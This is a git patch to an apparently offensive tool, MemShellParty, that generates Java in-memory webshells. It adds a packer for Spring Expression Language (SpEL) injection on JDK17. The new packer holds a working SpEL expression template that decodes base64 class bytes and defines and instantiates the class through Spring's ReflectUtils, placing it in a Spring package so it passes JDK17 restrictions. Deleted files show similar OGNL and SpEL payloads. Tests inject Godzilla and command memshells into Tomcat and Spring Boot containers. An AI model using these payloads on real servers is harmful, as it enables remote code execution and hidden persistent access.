From 9b10f968dc019319db676bcd95db47ac77fb50cc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E6=99=A8=E6=9B=A6?= <40414720+xcxmiku@users.noreply.github.com> Date: Mon, 25 Aug 2025 14:34:47 +0800 Subject: [PATCH] feat: support SpELSpringIOUtilsJDK17 (resolved #83) Co-authored-by: ReaJason --- .../workflows/memshell-integration-test.yml | 1 + docs/BuildOnLocal.md | 6 ++-- .../javaweb/integration/ShellAssertion.java | 15 +++++++--- .../SpringBoot3ContainerTest.java | 7 +++++ .../Tomcat8CommandEncryptorContainerTest.java | 2 +- .../Tomcat8ExpressionContainerTest.java | 2 -- .../javaweb/packer/AggregatePacker.java | 10 +++++-- .../com/reajason/javaweb/packer/Packers.java | 6 ++-- .../packer/ognl/OGNLSpringUtilsPacker.java | 18 ------------ .../SpELSpringIOUtilsGzipJDK17Packer.java | 28 +++++++++++++++++++ .../packer/spel/SpELSpringUtilsPacker.java | 18 ------------ .../SpELSpringIOUtilsGzipJDK17PackerTest.java | 26 +++++++++++++++++ 12 files changed, 87 insertions(+), 52 deletions(-) delete mode 100644 packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringUtilsPacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17Packer.java delete mode 100644 packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringUtilsPacker.java create mode 100644 packer/src/test/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17PackerTest.java diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index 97b94d84..82f51de9 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -5,6 +5,7 @@ on: branches: - '**' paths: + - './github/workflows/memshell-integration-test.yml' - '**/memshell/**' - '**/packer/**' diff --git a/docs/BuildOnLocal.md b/docs/BuildOnLocal.md index d5fa76cd..0c647c8a 100644 --- a/docs/BuildOnLocal.md +++ b/docs/BuildOnLocal.md @@ -25,12 +25,12 @@ bun run build 3. 构建后端项目,确保使用 JDK17 环境 ```bash -cd MemShellParty/boot +cd MemShellParty ./gradlew :boot:bootjar -x test ``` -构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar` +构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar` ```bash cd MemShellParty/boot @@ -39,7 +39,7 @@ java -jar \ --add-opens=java.base/java.util=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ - build/libs/boot-1.0.0.jar + build/libs/boot-2.0.0.jar ``` 也可这基础上再继续构建容器来使用 diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 6ceaa08c..41c7d78e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -35,7 +35,10 @@ import java.net.URL; import java.nio.file.Files; import java.nio.file.Path; import java.util.Objects; +import java.util.Random; +import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES; +import static com.reajason.javaweb.utils.CommonUtil.getRandomString; import static org.hamcrest.CoreMatchers.anyOf; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.MatcherAssert.assertThat; @@ -87,7 +90,7 @@ public class ShellAssertion { ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer); - MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig); + MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig, packer); packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer); @@ -288,11 +291,14 @@ public class ShellAssertion { return shellToolConfig; } - public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) { + public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig, Packers packer) { InjectorConfig injectorConfig = new InjectorConfig(); if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); } + if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) { + injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5)); + } ShellConfig shellConfig = ShellConfig.builder() .server(server) @@ -324,8 +330,9 @@ public class ShellAssertion { } case ScriptEngine -> VulTool.postIsOk(url + "/js", content); case EL -> VulTool.postIsOk(url + "/el", content); - case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postIsOk(url + "/spel", content); - case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postIsOk(url + "/ognl", content); + case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 -> + VulTool.postIsOk(url + "/spel", content); + case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content); case MVEL -> VulTool.postIsOk(url + "/mvel", content); case JXPath -> VulTool.postIsOk(url + "/jxpath", content); case JEXL -> VulTool.postIsOk(url + "/jexl2", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java index 387817ab..19700b14 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -8,6 +9,7 @@ import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -100,4 +102,9 @@ public class SpringBoot3ContainerTest { void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); } + + @Test + void testCommandValveSpELSpringIOUtilsJDK17() { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java index 94218ae0..53ed195d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -78,7 +78,7 @@ public class Tomcat8CommandEncryptorContainerTest { .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64) .build(); - MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer); ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java index 74bf14af..7cba3637 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java @@ -44,11 +44,9 @@ public class Tomcat8ExpressionContainerTest { return Stream.of( arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java index 1ace9d54..0c3be7d7 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java @@ -16,12 +16,18 @@ public interface AggregatePacker extends Packer { * 聚合打包当前所有分类下的 payload * * @param config 生成结果 - * @return key -> 打包名称, value -> 打包 payload + * @return key -> 打包名称,value -> 打包 payload */ default Map packAll(ClassPackerConfig config) { return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap( Enum::name, - packers -> packers.getInstance().pack(config), + packers -> { + try { + return packers.getInstance().pack(config); + } catch (Exception e) { + return e.getMessage(); + } + }, (existing, replacement) -> existing, LinkedHashMap::new )); diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 7be10bb1..53450955 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -33,13 +33,12 @@ import com.reajason.javaweb.packer.mvel.MVELPacker; import com.reajason.javaweb.packer.ognl.OGNLPacker; import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker; import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker; -import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker; import com.reajason.javaweb.packer.rhino.RhinoPacker; import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELPacker; import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; +import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer; import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker; -import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker; import com.reajason.javaweb.packer.velocity.VelocityPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; @@ -92,7 +91,6 @@ public enum Packers { OGNL(new OGNLPacker()), OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class), - OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class), OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class), MVEL(new MVELPacker()), @@ -104,7 +102,7 @@ public enum Packers { SpEL(new SpELPacker()), SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class), SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class), - SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class), + SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class), Groovy(new GroovyPacker()), GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringUtilsPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringUtilsPacker.java deleted file mode 100644 index 6c6a15a7..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringUtilsPacker.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.reajason.javaweb.packer.ognl; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; - -/** - * @author ReaJason - * @since 2025/7/7 - */ -public class OGNLSpringUtilsPacker implements Packer { - String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()"; - - @Override - public String pack(ClassPackerConfig config) { - return template.replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", config.getClassBytesBase64Str()); - } -} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17Packer.java new file mode 100644 index 00000000..1195d2b6 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17Packer.java @@ -0,0 +1,28 @@ +package com.reajason.javaweb.packer.spel; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class SpELSpringIOUtilsGzipJDK17Packer implements Packer { + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; + + @Override + public String pack(ClassPackerConfig config) { + String className = config.getClassName(); + assertClassNameValid(className); + return template.replace("{{className}}", className) + .replace("{{base64Str}}", config.getClassBytesBase64Str()); + } + + public static void assertClassNameValid(String className) { + String packageName = className.substring(0, className.lastIndexOf(".")); + if (!"org.springframework.expression".equals(packageName)) { + throw new UnsupportedOperationException(className + " is not supported, please set className in same package org.springframework.expression, " + + "for example, org.springframework.expression.CommonUtil, org.springframework.expression.sub.CommonUtil will also not work"); + } + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringUtilsPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringUtilsPacker.java deleted file mode 100644 index b0b99bee..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringUtilsPacker.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.reajason.javaweb.packer.spel; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; - -/** - * @author ReaJason - * @since 2024/12/13 - */ -public class SpELSpringUtilsPacker implements Packer { - String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; - - @Override - public String pack(ClassPackerConfig config) { - return template.replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", config.getClassBytesBase64Str()); - } -} \ No newline at end of file diff --git a/packer/src/test/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17PackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17PackerTest.java new file mode 100644 index 00000000..f84b9713 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17PackerTest.java @@ -0,0 +1,26 @@ +package com.reajason.javaweb.packer.spel; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packers; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/8/25 + */ +class SpELSpringIOUtilsGzipJDK17PackerTest { + + @Test + void pack() { + ClassPackerConfig classPackerConfig = new ClassPackerConfig(); + classPackerConfig.setClassName("org.springframework.expression.sub.CommonUtil"); + classPackerConfig.setClassBytes("hello".getBytes()); + classPackerConfig.setClassBytesBase64Str(Base64.encodeBase64String("hello".getBytes())); + Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig)); + + classPackerConfig.setClassName("org.springframework.expression.CommonUtil"); + Assertions.assertDoesNotThrow(() -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig)); + } +} \ No newline at end of file